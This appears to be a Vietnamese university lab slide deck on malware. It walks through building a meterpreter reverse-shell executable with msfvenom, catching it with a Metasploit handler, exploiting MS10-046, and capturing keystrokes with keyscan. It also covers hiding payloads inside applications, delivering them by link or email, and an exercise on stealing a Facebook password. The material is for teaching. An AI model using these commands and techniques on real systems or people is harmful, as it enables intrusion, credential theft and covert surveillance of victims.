

# Chapter 7

## Malware Lab

LECTURER: NGUYỄN THỊ THANH VÂN – FIT - HCMUTE

### Malware 1 – khai thác điểm yếu người dùng

- Máy tấn công: bất kì
- Máy nạn nhân: bất kì
- Tạo mã độc Trojan đơn giản:
  - Dùng ngôn ngữ bất kì, định nghĩa payload. Hoặc dùng `# msfvenom` (trong kali) tạo 1 mã độc bất kỳ:
    - Loop message, restart, shutdown. Redirect web....
  - Dùng kỹ thuật che dấu file payload (có thể làm trên máy windows làm để có sẵn công cụ)
    - Compress: malware + application
    - Merger malware + application
    - <https://antoanthongtin.vn/giai-phap-khac/danh-gia-mot-so-cong-cu-lan-tranh-antivirus-108665>
  - Dùng phương pháp truyền vào máy nạn nhân
    - Link,
    - E-Mail
    - Qua lỗ hổng của máy nạn nhân, ex MS08\_067, MS17\_010

## Malware 2 – Khai thác lỗ hổng Windows

- Tạo mã độc Backdoor chiếm quyền truy xuất máy nạn nhân
  - Máy tấn công: dùng kali Linux
  - Máy nạn nhân: bản windows có lỗ hổng
- Kịch bản:
  - Máy tấn công khai thác lỗ hổng hệ điều hành để truyền malware vào máy nạn nhân qua dịch vụ web (apache)
  - Nạn nhân dùng web do máy tấn công hosting và download malware
    - Malware được thực thi tại máy nạn nhân
  - Tại máy tấn công sử dụng exploit/multi/handler và payload windows/meterpreter/reverse\_tcp để nghe ngóng

01/10/2024

3

## msfvenom

- Tại máy attacker: Khởi động Metasploit, dùng **msfvenom** để tạo ra malware sau đó lựa mục tiêu chạy chương trình malware,
  - Để xem hướng dẫn sử dụng msfvenom hãy gõ lệnh msfvenom -h

Ex: # msfvenom -p windows/meterpreter/reverse\_tcp  
LHOST=172.16.100.3 RPORT=4444 -f exe -e x86/shikata\_ga\_nai -i 10 >  
/var/www/html/abc.exe

- -p : tham số này cho phép ta chọn payload và tham số của payload.
- 172.16.100.3: địa chỉ IP máy tấn công.
- -f : chọn dạng file cho malware.
- -e : phiên bản hệ điều hành
- -i : số lần mã hóa
- /var/www/html/abc.exe: nơi xuất malware - chính là nơi chứa source web (điều chỉnh cho phù hợp với thư mục trên máy)

01/10/2024

4

## exploit

- Tại Attacker: sử dụng exploit/multi/handler và payload windows/meterpreter/reverse\_tcp để nghe ngóng
- Tại máy Victim: mở web, download file mã độc về
- => Attacker có thể toàn quyền máy Victim

01/10/2024

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

  Name  Current Setting  Required  Description
  ----  -
  Name  Current Setting  Required  Description
  ----  -
  EXITFUNC  process          yes       Exit technique (Accepted: '',
  LHOST     yes              yes       The listen address
  LPORT     4444              yes       The listen port

msf exploit(handler) > set LHOST 172.16.100.3
LHOST => 172.16.100.3
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 172.16.100.3:4444
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 172.16.100.4
[*] Meterpreter session 1 opened (172.16.100.3:4444 -> 172.16.100.4:4444)

meterpreter > 
```

5

## Control Victim machine

- After successful exploit, attacker can control victim machine, ex
  - Screenshot
  - Record
  - Hashdump
  - Remove data
  - Keylogger
  - ....

01/10/2024

6

# Malware 3 – Executing Applications Keylogger

LECTURER: NGUYỄN THỊ THANH VÂN – FIT - HCMUTE

## Keylogger using exploiting vulnerability

- A **keylogger** (short for keystroke logger)
  - software that tracks or logs the keys struck on your keyboard, typically in a covert manner so that you don't know that your actions are being monitored.
  - This is usually done with malicious intent to collect your account information, credit card numbers, user names, passwords, and other private data.
  - Legitimate uses do exist for keyloggers..
- **Requirements**
  - \* Metasploit Framework
  - \* Kali Linux
  - \* A Meterpreter session opened on a box
- **To open meterpreter, use:**
  - Such as: **malware, ms08-067, ms17-010, ms10-046....**

## Keylogger - Steps

- Step 1: Khai thác lỗ hổng **ms10-046** để chiếm quyền điều khiển máy nạn nhân
- Ex: use the **dllloader** exploits and **reverse TCP** payload

```

root@phoenix: ~
request for /msByPn
[*] 192.168.1.111 ms10_046_shortcut_icon_dllloader - Sending 381 for /msByPn
...
[*] 192.168.1.111 ms10_046_shortcut_icon_dllloader - Received WebDAV PROPFIND
request for /msByPn/
[*] 192.168.1.111 ms10_046_shortcut_icon_dllloader - Sending directory multis
tatus for /msByPn/
...
[*] 192.168.1.111 ms10_046_shortcut_icon_dllloader - Received WebDAV PROPFIND
request for /msByPn/desktop.ini
[*] 192.168.1.111 ms10_046_shortcut_icon_dllloader - Sending 484 for /msByPn
/desktop.ini
...
[*] 192.168.1.111 ms10_046_shortcut_icon_dllloader - Received WebDAV PROPFIND
request for /msByPn/
[*] 192.168.1.111 ms10_046_shortcut_icon_dllloader - Sending 381 for /msByPn
...
[*] 192.168.1.111 ms10_046_shortcut_icon_dllloader - Received WebDAV PROPFIND
request for /msByPn/
[*] 192.168.1.111 ms10_046_shortcut_icon_dllloader - Sending directory multis
tatus for /msByPn/
...
[*] 192.168.1.111 ms10_046_shortcut_icon_dllloader - Sending LNK file
request for /msByPn/MZpdyRyR.dll.manifest
[*] 192.168.1.111 ms10_046_shortcut_icon_dllloader - Received WebDAV PROPFIND
[*] 192.168.1.111 ms10_046_shortcut_icon_dllloader - Sending 484 for /msByPn
/MZpdyRyR.dll.manifest
...
[*] 192.168.1.111 ms10_046_shortcut_icon_dllloader - Received WebDAV PROPFIND
request for /msByPn/MZpdyRyR.dll.123.manifest
[*] 192.168.1.111 ms10_046_shortcut_icon_dllloader - Sending 484 for /msByPn
/MZpdyRyR.dll.123.manifest
...
[*] Sending stage (77004 bytes) to 192.168.1.111
[*] Meterpreter session 1 opened (192.168.1.109:4444 -> 192.168.1.111:1847) at 2
014-06-23 06:54:58 +0530
msf exploit(multi_046_shortcut_icon_dllloader) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
  
```

## Keylogger - Steps

- Step 2: get the PID (Process ID) that to migrate the Meterpreter to process (ex, notepad.exe) we want to log the keystrokes from: use command: **ps**

```

620 3208 cmd.exe x86 0 SMALLBUSINESS\Administrator C:\WINDOWS\system32\cmd.exe
624 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
672 362 notepad.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\notepad.exe
680 362 notepad.exe x86 0 SMALLBUSINESS\Administrator C:\WINDOWS\system32\notepad.exe
612 3208 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
1176 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
1208 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
1276 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
1352 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
1380 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
1440 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
1472 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
1480 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
1504 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
1600 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
1724 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
1760 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
1800 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
2152 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
2200 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
2280 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
2080 362 notepad.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\notepad.exe
3208 3172 explorer.exe x86 0 SMALLBUSINESS\Administrator C:\WINDOWS\explorer.exe
3228 3208 VMwareTray.exe x86 0 SMALLBUSINESS\Administrator C:\Program Files\VMware\VMware Tools\VMwareTray.exe
3248 3208 VMwareTray.exe x86 0 SMALLBUSINESS\Administrator C:\Program Files\VMware\VMware Tools\VMwareTray.exe
3508 608 vmtoolsd.exe x86 0 SMALLBUSINESS\Administrator C:\WINDOWS\system32\vmtoolsd.exe
3636 344 vmtoolsd.exe x86 0 SMALLBUSINESS\Administrator C:\WINDOWS\system32\vmtoolsd.exe

meterpreter > migrate 912
[*] Migrating to 912...
[*] Migration completed successfully.
meterpreter >
  
```

## Keylogger - Steps

- Step 3: Let's migrate to that process and capture any keystrokes entered there

```

3508 888  wuodctt.exe      x86  0
3636 344  wpabaln.exe      x86  0

meterpreter > migrate 912
[*] Migrating to 912...
[*] Migration completed successfully.
meterpreter >

```

- Step 4: Start the Keylogger

- Metasploit's Meterpreter has a built-in software keylogger called keyscan. To start it on the victim system, just type: **keyscan\_start**
- => Meterpreter will now start logging every keystroke entered into the Notepad

```

meterpreter > keyscan_start
Starting the keystroke sniffer...

```

01/10/2024

11

## Keylogger - Steps

- Step 5: Write a Short Note on the Victim System
  - Let's now move to our victim system and write a short note to make sure it works.

```

Untitled - Notepad
File Edit Format View Help
Hi Stud!
My boyfriend is gone this afternoon. want to come over?
Cheatah

```

- Step 6: Recover the Keystrokes
  - Now, let's go back to our system with Meterpreter running on Metasploit. We can now dump all of the keystrokes that were entered on Cheatah's computer. We simply type: **keyscan\_dump**.

```

meterpreter >
meterpreter > keyscan_dump
Dumping captured keystrokes...
<Return> Hi Stud! <Return> <Return> My boyfriend is gone
this afternoon. Want to come over? <Return> <Return>
Cheatah <Alt> <LMenu> <Snapshot>
meterpreter >

```

01/10/2024

12

## Exercise

- Yêu cầu: capture key của IE khi đăng nhập vào facebook để lấy Password của account

01/10/2024

13

## Malware 4 – Coding Keylogger

LECTURER: NGUYỄN THỊ THANH VÂN – FIT - HCMUTE

## Coding Keylogger

- Write a keylogger source – using python, Java...
  - Record Keypress
  - Send **email** to an account: enter, interval ....
- Dùng kỹ thuật che dấu file payload
  - Compress: malware + application
  - Merger malware + application
  - Shotcut
- Dùng phương pháp truyền vào máy nạn nhân
  - Link,
  - E-Mail

01/10/2024

15

## Other tools – Free on windows

- **Free Keylogger**
- **REFOG Free Keylogger**
- **DanuSoft Free Keylogger**
- **Real Free Keylogger**
- **Revealer Keylogger Free**
- **KidLogger**
- **BlackBox Express**
- **Spyrix Free Keylogger**
- **G³ iSam**
- **Actual Keylogger**

01/10/2024

16